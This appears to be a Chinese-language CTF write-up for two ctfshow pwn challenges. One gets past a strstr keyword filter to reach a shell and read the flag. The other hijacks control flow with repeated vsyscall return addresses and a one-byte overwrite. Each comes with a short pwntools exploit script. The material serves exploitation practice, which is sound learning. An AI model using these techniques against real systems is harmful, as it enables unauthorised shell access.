ctfshow 单身杯
Findyourgirlfriend
strstr函数返回子字符串第一次出现的指针,然后这里右边是判断,返回0或1

输入的s不能包含这些字符串,然后输入的s是 set -s,

最后执行的是system(‘/bin/sh -c set -s),在sh内执行set -s,设置了shell输出选项而没有其他动作
这里不能直接cat,因为远程环境没有给cat设置环境变量$PATH

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| from pwn import* from LibcSearcher import *
p=process("./girl") context.log_level="debug"
def dbg(): gdb.attach(p) sleep(1)
p.sendlineafter('games','1')
payload=b'set -s' p.sendlineafter('girlfriend? ',payload) p.sendline('/bin/cat /flag')
p.interactive()
|
CheckIn
保护全开,有个后门函数

rax在栈上

这里用了vsyscall,在这里x64这是固定的地址

设计这玩意的初衷是限制了只有从vsyscall函数入口才能正常运行,避免gadget,这里是反复调用vsyscall不断调用ret破坏栈,具体调试不出来,直接报错了,只有栈上有.text段没清理干净,修改最低位就劫持了控制流
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| from pwn import* from LibcSearcher import *
p=process("./1") context.log_level="debug"
ret=0xffffffffff600000
gdb.attach(p) pause() p.send(p64(ret)*30+b'\x13') p.sendline('/bin/sh')
p.interactive()
|
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~